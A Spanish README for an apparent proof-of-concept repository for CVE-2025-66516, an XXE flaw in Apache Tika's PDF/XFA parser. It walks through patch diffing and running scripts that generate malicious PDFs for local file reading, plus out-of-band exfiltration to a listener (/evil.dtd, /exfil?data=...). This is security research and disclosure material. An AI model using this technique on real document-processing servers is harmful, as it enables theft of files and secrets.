
Un POC para la vulnerabilidad CVE-2025-66516 de Apache Tika únicamente con fines educativos.
Solo pruebas educativas/autorizadas | Licencia | Política de seguridad
Este repositorio contiene un exploit de prueba de concepto (PoC) para CVE-2025-66516, una vulnerabilidad de inyección de entidad externa XML (XXE) en versiones de Apache Tika anteriores a 3.2.2. La vulnerabilidad afecta al analizador XFA (XML Forms Architecture) en el componente tika-parser-pdf-module, permitiendo a los atacantes leer archivos locales y exfiltrar datos sensibles mediante documentos PDF manipulados maliciosamente.
CVE-2025-66516 es una vulnerabilidad de seguridad crítica en la funcionalidad de análisis de PDF de Apache Tika. Al procesar archivos PDF con formularios XFA incrustados, las versiones de Tika anteriores a 3.2.2 no restringen adecuadamente el procesamiento de entidades externas en los analizadores XML. Esto permite a los atacantes:
Este repositorio incluye:
Apache Tika XXE, exploit de CVE-2025-66516, vulnerabilidad de seguridad de Tika, ataque de entidad externa XML, inyección XXE en PDF, vulnerabilidad de Tika 3.2.1, XXE fuera de banda, OOB XXE, investigación de seguridad, pruebas de penetración, exploit PoC, divulgación de vulnerabilidades, vulnerabilidad del analizador XFA, tika-parser-pdf-module, vulnerabilidad de divulgación de archivos, exfiltración de datos, ataque SSRF, codificación segura, análisis de vulnerabilidades, pruebas de seguridad, hacking ético, infosec, investigación en ciberseguridad, código de exploit de Apache Tika, carga útil XXE, seguridad de PDF, vulnerabilidad del analizador de documentos
Nota: Este PoC ha sido probado y verificado en:
Primero, cree un directorio dedicado para el PoC con el fin de mantener todos los archivos organizados.
mkdir apache_tika_poc
cd apache_tika_poc
Antes de continuar con el PoC, verifique que su entorno tenga las dependencias requeridas. Estos comandos mostrarán las versiones de su compilador/entorno de ejecución de Java y los detalles del sistema operativo, lo cual es importante para reproducir la vulnerabilidad.
# Check Java version
java -version
javac -version
# Check OS version
lsb_release -a
Salida esperada: Debería ver la información de la versión de Java (por ejemplo, OpenJDK 17.x.x) y los detalles de la versión de Ubuntu (24.04.3 LTS).
Descargue tanto la versión vulnerable (3.2.1) como la parcheada (3.2.2) de Apache Tika. Necesitamos ambas versiones para demostrar que la vulnerabilidad XXE existe en 3.2.1 y está corregida en 3.2.2. El JAR tika-app es un ejecutable todo-en-uno que incluye todos los analizadores y dependencias de Tika.
# Download vulnerable Tika version
wget https://repo1.maven.org/maven2/org/apache/tika/tika-app/3.2.1/tika-app-3.2.1.jar
# Download patched Tika version
wget https://repo1.maven.org/maven2/org/apache/tika/tika-app/3.2.2/tika-app-3.2.2.jar
Salida esperada: Se descargarán dos archivos JAR - tika-app-3.2.1.jar (~75MB) y tika-app-3.2.2.jar (~75MB).
Verifique las versiones exactas inspeccionando los archivos de manifiesto de los JAR. Esto confirma que tenemos las versiones vulnerables y parcheadas correctas antes de realizar las pruebas.
# Check vulnerable version manifest
unzip -p tika-app-3.2.1.jar META-INF/MANIFEST.MF
# Check patched version manifest
unzip -p tika-app-3.2.2.jar META-INF/MANIFEST.MF
Salida esperada: Archivos de manifiesto que muestran Implementation-Version: 3.2.1 y 3.2.2 respectivamente, junto con marcas de tiempo de compilación y otros metadatos.
Si observamos los Modelos de Objeto de Proyecto (las propiedades POM de Maven definen las dependencias, la configuración de construcción y los metadatos de un proyecto), vemos que no hay tika-parsers separados como se menciona en los avisos de seguridad; podría ser algo relacionado con la versión, y la suposición es que en las versiones 3.2.1 y 3.2.2, que son parte del PoC, el módulo tika-parsers fue reemplazado por módulos de analizadores individuales.
# List all component pom.properties files for both versions
unzip -l tika-app-3.2.1.jar | grep pom.properties | grep tika
unzip -l tika-app-3.2.2.jar | grep pom.properties | grep tika
Salida esperada: Una lista de todos los módulos de componentes de Tika, incluyendo tika-core, tika-parser-pdf-module, tika-xmp, etc. Notará módulos de analizadores individuales en lugar de un único módulo tika-parsers.
Extraiga y muestre la información de versión de los componentes principales de Tika. Esto nos ayuda a comprender la estructura interna de los módulos y a confirmar que tanto la biblioteca central como el módulo analizador de PDF están en las versiones esperadas.
# Check tika-core, tika-parser-pdf-module, and tika-app versions for 3.2.1
unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-core/pom.properties && echo "---" && unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-parser-pdf-module/pom.properties && echo "---" && unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-app/pom.properties
# Check tika-core, tika-parser-pdf-module, and tika-app versions for 3.2.2
unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-core/pom.properties && echo "---" && unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-parser-pdf-module/pom.properties && echo "---" && unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-app/pom.properties
Salida esperada: Propiedades POM que muestran version=3.2.1 o version=3.2.2 para cada componente, separadas por ---. Los tres componentes (tika-core, tika-parser-pdf-module, tika-app) deben coincidir con la versión general.
Cree un archivo de secretos falso que será el objetivo de nuestro ataque XXE. Este archivo simula datos sensibles (como claves de API o credenciales) que un atacante podría intentar exfiltrar a través de la vulnerabilidad XXE.
# Create target secret file
echo "INTERNAL_SERVER_KEY=EXPOSED" > fake-secrets.txt
Salida esperada: Un archivo llamado fake-secrets.txt que contiene la cadena INTERNAL_SERVER_KEY=EXPOSED. Este archivo será leído por el exploit XXE.
Para entender la corrección, necesitamos descompilar y comparar la clase XMLReaderUtils de ambas versiones. Esta clase es responsable de crear analizadores XML, y la vulnerabilidad se origina en cómo configura el procesamiento de entidades XML.
# Extract vulnerable JAR for analysis
mkdir tika-3.2.1-extract && cd tika-3.2.1-extract && unzip -q ../tika-app-3.2.1.jar && cd ..
# Extract patched JAR for analysis
mkdir tika-3.2.2-extract && cd tika-3.2.2-extract && unzip -q ../tika-app-3.2.2.jar && cd ..
# Decompile vulnerable class
cd tika-3.2.1-extract && javap -c org/apache/tika/utils/XMLReaderUtils.class > ../XMLReaderUtils-3.2.1.txt && cd ..
# Decompile patched class
cd tika-3.2.2-extract && javap -c org/apache/tika/utils/XMLReaderUtils.class > ../XMLReaderUtils-3.2.2.txt && cd ..
# Compare versions
diff -u XMLReaderUtils-3.2.1.txt XMLReaderUtils-3.2.2.txt
Salida esperada: La extracción crea dos directorios con archivos de clase descompilados. El comando javap genera el desensamblado de bytecode de la clase XMLReaderUtils. El comando diff mostrará las diferencias en cómo se configura el analizador XML entre versiones.
Si comparamos cuidadosamente, encontramos que cualquier definición de Doctype (DTD) y el soporte de entidades externas están deshabilitados en 3.2.2; este es el núcleo de la corrección:
diff -u XMLReaderUtils-3.2.1.txt XMLReaderUtils-3.2.2.txt | grep -A2 -B2 "accessExternalDTD\|supportDTD\|isSupportingExternalEntities"
Salida esperada: Verá una salida de diff que muestra que la versión 3.2.2 agrega llamadas para deshabilitar el procesamiento de DTD y la resolución de entidades externas. Busque líneas que establezcan accessExternalDTD en cadena vacía y supportDTD en false.
Esto demuestra el ataque XXE clásico donde un PDF malicioso lee un archivo local del sistema de archivos del servidor. El script de Python genera un PDF con un formulario XFA incrustado que contiene XML con una carga útil XXE que hace referencia a file:///fake-secrets.txt.
# Generate malicious PDF
python3 ./gen_poc.py
# Test with vulnerable Tika 3.2.1
java -jar tika-app-3.2.1.jar -t cve_2025_66516_poc.pdf
# Test with patched Tika 3.2.2
java -jar tika-app-3.2.2.jar -t cve_2025_66516_poc.pdf
Salida esperada:
gen_poc.py crea cve_2025_66516_poc.pdf que contiene la carga útil XXEINTERNAL_SERVER_KEY=EXPOSED - ¡el contenido del archivo secreto!Esto demuestra un ataque XXE más sofisticado que utiliza exfiltración de datos fuera de banda (OOB). En lugar de reflejar el contenido del archivo en la respuesta, el PDF malicioso obliga a Tika a enviar los datos a un servidor externo controlado por el atacante. Esta técnica funciona incluso cuando la aplicación no devuelve el contenido analizado.
# Generate out-of-band XXE PDF
python3 ./gen_oob_poc.py
# Start HTTP listener (in separate terminal)
python3 ./http_listener.py
# Test OOB XXE with vulnerable Tika 3.2.1
java -jar tika-app-3.2.1.jar -t cve-2025-66516_OOB_XXE.pdf
# Test OOB XXE with patched Tika 3.2.2
java -jar tika-app-3.2.2.jar -t cve-2025-66516_OOB_XXE.pdf
Salida esperada:
gen_oob_poc.py crea cve-2025-66516_OOB_XXE.pdf con la carga útil XXE fuera de bandahttp_listener.py inicia un servidor en el puerto 8888 y espera solicitudes entrantes/evil.dtd (obtención de DTD externa)/exfil?data=INTERNAL_SERVER_KEY=EXPOSED (exfiltración de datos)Esto prueba la vulnerabilidad en un escenario más realista donde Tika se utiliza como biblioteca dentro de una aplicación Java (no solo como herramienta de línea de comandos). El código DocumentProcessor.java simula cómo una aplicación típica podría integrar Tika para el análisis de documentos.
# Compile with vulnerable Tika
javac -cp tika-app-3.2.1.jar DocumentProcessor.java
# Run with vulnerable Tika
java -cp tika-app-3.2.1.jar:. DocumentProcessor ./cve_2025_66516_poc.pdf
# Compile with patched Tika
javac -cp tika-app-3.2.2.jar DocumentProcessor.java
# Run with patched Tika
java -cp tika-app-3.2.2.jar:. DocumentProcessor ./cve_2025_66516_poc.pdf
Salida esperada:
Document processed successfully!
Content extracted: [text containing INTERNAL_SERVER_KEY=EXPOSED]
⚠️ SECURITY ALERT: XXE vulnerability detected! Secret data leaked in output.
Document processed successfully!
Content extracted: [text WITHOUT secret data]
✓ No XXE vulnerability detected.
Elimine los directorios y archivos temporales creados durante la fase de análisis para mantener el espacio de trabajo limpio.
# Remove extraction directories
rm -rf tika-3.2.2-extract/
rm -rf tika-3.2.1-extract/
rm XMLReaderUtils-*.txt
Salida esperada: Se eliminarán los directorios y los archivos de texto descompilados. No se muestra ninguna salida a menos que haya un error.
Si descubre vulnerabilidades de seguridad, por favor repórtelas de manera responsable:
apache-tika xxe-vulnerability cve-2025-66516 security-research proof-of-concept xml-external-entity cybersecurity vulnerability-research poc infosec penetration-testing ethical-hacking pdf-security xfa-parser data-exfiltration
Este proyecto está licenciado bajo la Licencia MIT - consulte el archivo LICENSE para obtener más detalles.
Solo para uso educativo - Este PoC está destinado únicamente a fines educativos y pruebas de seguridad autorizadas. El uso no autorizado contra sistemas que no posee o para los cuales no tiene permiso de prueba es ilegal.
¡Las contribuciones para mejorar este PoC o la documentación son bienvenidas! Asegúrese de que cualquier contribución:
Última actualización: diciembre de 2025
ssrfoob-xxefile-disclosuresecure-codingvulnerability-analysissecurity-testingexploit-developmentred-teamblue-teamappsecdocument-parsingjava-security